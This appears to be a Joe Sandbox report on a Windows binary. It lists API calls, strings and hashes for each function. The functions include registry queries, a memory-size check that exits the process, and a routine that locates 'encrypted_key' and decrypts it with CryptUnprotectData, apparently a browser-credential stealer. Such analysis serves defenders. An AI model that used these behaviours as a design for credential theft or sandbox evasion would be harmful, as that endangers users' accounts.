RegOpenKeyExA.KERNEL32(80000002,02489D40,00000000,00020119,00417159), ref: 004171FB
RegQueryValueExA.KERNEL32(00417159,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 0041721A
RegCloseKey.ADVAPI32(00417159), ref: 00417224

Strings

CurrentBuildNumber, xrefs: 00417211

Memory Dump Source

Source File: 00000000.00000002.2380791496.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2380791496.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3466090806-1022791448
Opcode ID: 6c07f27ec60b8ac9df4e5178828e9d35e6ab3eda5138c8e540781496da3810dc
Instruction ID: 00cad297c96af00baba5933f046dbcc6cd847f8af16dedc1aa1025fe7f1f3d79
Opcode Fuzzy Hash: 6c07f27ec60b8ac9df4e5178828e9d35e6ab3eda5138c8e540781496da3810dc
Instruction Fuzzy Hash: EE014FB9A40708BFDB10DFE0DC4AFAEB779EB08704F104558FA05A7291D674AA418B55

Function 00413BC0 Relevance: 9.1, APIs: 6, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00413BE5
RegOpenKeyExA.KERNEL32(80000001,024A99F0,00000000,00020119,?), ref: 00413C04
RegQueryValueExA.ADVAPI32(?,024AA198,00000000,00000000,00000000,000000FF), ref: 00413C28
RegCloseKey.ADVAPI32(?), ref: 00413C32
lstrcat.KERNEL32(?,00000000), ref: 00413C57
lstrcat.KERNEL32(?,024AA1B0), ref: 00413C6B

Memory Dump Source

Source File: 00000000.00000002.2380791496.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2380791496.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcat$CloseOpenQueryValuememset
String ID:
API String ID: 2623679115-0
Opcode ID: d4db36429f90b718e22daca015467a858ebeea603ee9fe30967bea3d45dd3f7a
Instruction ID: 29de2a712fc1e2dfcbf32ad4341a25eb625067ccdef54b7492a2b75d077fe01c
Opcode Fuzzy Hash: d4db36429f90b718e22daca015467a858ebeea603ee9fe30967bea3d45dd3f7a
Instruction Fuzzy Hash: 1841B8B69001086BDB24EBA0DC46FEE733DAB88304F00895DB619561D1FEB957CC8BD5

Function 00413070 Relevance: 9.1, APIs: 6, Instructions: 122stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 00413098

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

strtok_s.MSVCRT ref: 004131E1

Part of subcall function 0041A1F0: lstrlenA.KERNEL32(00000000,?,?,00415634,00420AC3,00420AC2,?,?,004165B6,00000000,?,024864E0,?,004210DC,?,00000000), ref: 0041A1FB
Part of subcall function 0041A1F0: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A255

Memory Dump Source

Source File: 00000000.00000002.2380791496.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2380791496.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcpystrtok_s$lstrlen
String ID:
API String ID: 3184129880-0
Opcode ID: e64ed464250a48bfaf9f2f59688cffc34c3823719edd6cae7863b5e6a4ea70e3
Instruction ID: 79a306a9ddce9c6cdb539d8aaa48a82ffdeeeca754e5da37ea89086183b8fd1c
Opcode Fuzzy Hash: e64ed464250a48bfaf9f2f59688cffc34c3823719edd6cae7863b5e6a4ea70e3
Instruction Fuzzy Hash: 87416371E01108ABCB04EFE5DC89AEEB774BF44314F00801EE51677251DB78AA95CF9A

Function 00409A10 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00409A3C
GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A61
LocalAlloc.KERNEL32(00000040,?), ref: 00409A81
ReadFile.KERNEL32(000000FF,?,00000000,00410127,00000000), ref: 00409AAA
LocalFree.KERNEL32(00410127), ref: 00409AE0
FindCloseChangeNotification.KERNEL32(000000FF), ref: 00409AEA

Memory Dump Source

Source File: 00000000.00000002.2380791496.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2380791496.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: File$Local$AllocChangeCloseCreateFindFreeNotificationReadSize
String ID:
API String ID: 1815715184-0
Opcode ID: d2e7d697c1fd5801abf586d1bc5690ec85c8df5d8238ac27b9414798819d1dd5
Instruction ID: 9a616c59c25f48dda5b41b64f2eda75996ce8e2783f016847e561ac14b63f668
Opcode Fuzzy Hash: d2e7d697c1fd5801abf586d1bc5690ec85c8df5d8238ac27b9414798819d1dd5
Instruction Fuzzy Hash: 5D310AB4A00209EFDB24CF95C895BAE7BB5BF48314F108169E911A73D0D778AD41CFA5

Function 00414260 Relevance: 8.9, APIs: 7, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,024A9410), ref: 004142BB

Part of subcall function 00418880: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 004188AB

lstrcat.KERNEL32(?,00000000), ref: 004142E1
lstrcat.KERNEL32(?,?), ref: 00414300
lstrcat.KERNEL32(?,?), ref: 00414314
lstrcat.KERNEL32(?,02489550), ref: 00414327
lstrcat.KERNEL32(?,?), ref: 0041433B
lstrcat.KERNEL32(?,024A9CD0), ref: 0041434F

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 00418830: GetFileAttributesA.KERNEL32(00000000,?,0040FF57,?,00000000,?,00000000,00420D97,00420D96), ref: 0041883F

Part of subcall function 00414050: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00414060
Part of subcall function 00414050: HeapAlloc.KERNEL32(00000000), ref: 00414067
Part of subcall function 00414050: wsprintfA.USER32 ref: 00414086
Part of subcall function 00414050: FindFirstFileA.KERNEL32(?,?), ref: 0041409D

Memory Dump Source

Source File: 00000000.00000002.2380791496.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2380791496.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcat$FileHeap$AllocAttributesFindFirstFolderPathProcesslstrcpywsprintf
String ID:
API String ID: 167551676-0
Opcode ID: 1e192a029c9fb31ddd03e9fd57dcccfa639202ce4c53529baaff88ca5e31767d
Instruction ID: 4fb66fc9f0e99d4a69d4435a00fe4e0f35192ff1271240cc59f29c1c24f4a50f
Opcode Fuzzy Hash: 1e192a029c9fb31ddd03e9fd57dcccfa639202ce4c53529baaff88ca5e31767d
Instruction Fuzzy Hash: 663188B290021CA7CB24FBA0DC85EDD773DAB58708F40459EB60596091EE7897C9CFA8

Function 00401220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0040123E
__aulldiv.LIBCMT ref: 00401258
__aulldiv.LIBCMT ref: 00401266
ExitProcess.KERNEL32 ref: 00401294

Strings

@, xrefs: 00401233

Memory Dump Source

Source File: 00000000.00000002.2380791496.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2380791496.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: __aulldiv$ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 3404098578-2766056989
Opcode ID: ea570c17900da72c0ff61e466dfdba6c639ea0a5e55046902d87947f1e012f1f
Instruction ID: 3a295e2926d3a661784167dae5cc93d3585e5da9a2cb48fc087cd8b2851d2611
Opcode Fuzzy Hash: ea570c17900da72c0ff61e466dfdba6c639ea0a5e55046902d87947f1e012f1f
Instruction Fuzzy Hash: 8601FBB0D40308BAEB10EBE4DD49B9EBB78AB14705F20809EEA05B62D0D7785585875D

Function 00409D30 Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 97COMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 00409A10: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00409A3C
Part of subcall function 00409A10: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A61
Part of subcall function 00409A10: LocalAlloc.KERNEL32(00000040,?), ref: 00409A81
Part of subcall function 00409A10: ReadFile.KERNEL32(000000FF,?,00000000,00410127,00000000), ref: 00409AAA
Part of subcall function 00409A10: LocalFree.KERNEL32(00410127), ref: 00409AE0
Part of subcall function 00409A10: FindCloseChangeNotification.KERNEL32(000000FF), ref: 00409AEA

Part of subcall function 004188D0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 004188F2

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00409D89

Part of subcall function 00409B10: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,>O@,00000000,00000000), ref: 00409B3F
Part of subcall function 00409B10: LocalAlloc.KERNEL32(00000040,?,?,?,00404F3E,00000000,?), ref: 00409B51
Part of subcall function 00409B10: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,>O@,00000000,00000000), ref: 00409B7A
Part of subcall function 00409B10: LocalFree.KERNEL32(?,?,?,?,00404F3E,00000000,?), ref: 00409B8F

memcmp.MSVCRT ref: 00409DE2

Part of subcall function 00409BB0: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00409BD4
Part of subcall function 00409BB0: LocalAlloc.KERNEL32(00000040,00000000), ref: 00409BF3
Part of subcall function 00409BB0: memcpy.MSVCRT ref: 00409C16
Part of subcall function 00409BB0: LocalFree.KERNEL32(?), ref: 00409C23

Strings

"encrypted_key":", xrefs: 00409D80
DPAPI, xrefs: 00409DD9
, xrefs: 00409E11

Memory Dump Source

Source File: 00000000.00000002.2380791496.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2380791496.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$ChangeCloseCreateDataFindNotificationReadSizeUnprotectlstrcpymemcmpmemcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 596995583-738592651
Opcode ID: 3f06f71e26211085cdb1a86da3455fd9e81433f3492ad17428c1239e0e6ca977
Instruction ID: 7f392d33d6ad21de2d61bb21213a98381b23072c845d074b64d64ac31095145a
Opcode Fuzzy Hash: 3f06f71e26211085cdb1a86da3455fd9e81433f3492ad17428c1239e0e6ca977
Instruction Fuzzy Hash: 7A3150B5D00108ABCB04DBE4DC45AEF77B8AF48304F44856AE915B3282E7789E44CBA5

Function 6C5BC930 Relevance: 7.6, APIs: 5, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 6C5BC947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6C5BC969
GetSystemInfo.KERNEL32(?), ref: 6C5BC9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6C5BC9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6C5BC9E2

Memory Dump Source

Source File: 00000000.00000002.2401711248.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2401678709.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401826383.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849751.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401890239.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: c25a419378f0307c4cc3593511087e2d48e8c7a017ecbf304a149edabb2da990
Instruction ID: ee57ad9629ccca4bbce986a2f7b66707ca0dbbf25c9cb405b823373fd64a2c64
Opcode Fuzzy Hash: c25a419378f0307c4cc3593511087e2d48e8c7a017ecbf304a149edabb2da990
Instruction Fuzzy Hash: 1721D731741218ABEB14AA29CCD4BAE77B9EB86744F50051EF943B7A40EB707C04879D

Function 004178A0 Relevance: 7.6, APIs: 5, Instructions: 58registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 004178D7
HeapAlloc.KERNEL32(00000000), ref: 004178DE
RegOpenKeyExA.KERNEL32(80000002,02489F38,00000000,00020119,?), ref: 004178FE
RegQueryValueExA.KERNEL32(?,024A9AD0,00000000,00000000,000000FF,000000FF), ref: 0041791F
RegCloseKey.ADVAPI32(?), ref: 00417932

Memory Dump Source

Source File: 00000000.00000002.2380791496.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2380791496.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID:
API String ID: 3466090806-0
Opcode ID: d4f8544a164a9437c7f2146de9882181f67f3b24d4450b32dfc713e681060546
Instruction ID: 7b98265181db112957e654b40feb51e707849e62a0e01f8308d40af4a82c50e7
Opcode Fuzzy Hash: d4f8544a164a9437c7f2146de9882181f67f3b24d4450b32dfc713e681060546
Instruction Fuzzy Hash: EB11C1B1A04605AFDB10CF84DD4AFBFBB79FB48B10F10411AF605A7280D7785805CBA5

Function 004012A0 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,80000001), ref: 004012B4
HeapAlloc.KERNEL32(00000000), ref: 004012BB
RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 004012D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,000000FF,000000FF), ref: 004012F5
RegCloseKey.ADVAPI32(?), ref: 004012FF

Memory Dump Source

Source File: 00000000.00000002.2380791496.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2380791496.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID:
API String ID: 3466090806-0
Opcode ID: b8563e144584e458f87bf561f54c88dffa2f1145a5d88f54fd71737305c450da
Instruction ID: 190bc7a1a7c8d7045dc387aced5cbf31aaec2b72b8248f43f4a0638ea244b090
Opcode Fuzzy Hash: b8563e144584e458f87bf561f54c88dffa2f1145a5d88f54fd71737305c450da
Instruction Fuzzy Hash: 34013179A40208BFDB10DFE0DC49FAEB779FF48710F108158FA05A7290D6709A05CB50

Function 00410580 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 217COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,0248BD18), ref: 004105DA
StrCmpCA.SHLWAPI(00000000,0248BD38), ref: 004106A6
StrCmpCA.SHLWAPI(00000000,0248BDB8), ref: 004107DD

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Strings

@ZA, xrefs: 00410880, 00410894, 00410643, 0041075B, 00410646, 0041075E, 00410883

Memory Dump Source

Source File: 00000000.00000002.2380791496.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2380791496.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcpy
String ID: @ZA
API String ID: 3722407311-3461648394
Opcode ID: cfd0da9d99a01ee56f7bbf7bb6a9e8f352e5d1a2e9032f54a111e8379dfe0ce4
Instruction ID: dd73e37cf26ee0a5b727ab7f8fa236140303cf2c4538d3aa2ff7e25b79bad790
Opcode Fuzzy Hash: cfd0da9d99a01ee56f7bbf7bb6a9e8f352e5d1a2e9032f54a111e8379dfe0ce4
Instruction Fuzzy Hash: E6917775B002089FCB28EF65D995FED7775BF94304F00812EE8099F291DB349A59CB86

Function 004105A5 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 197COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,0248BD18), ref: 004105DA
StrCmpCA.SHLWAPI(00000000,0248BD38), ref: 004106A6
StrCmpCA.SHLWAPI(00000000,0248BDB8), ref: 004107DD

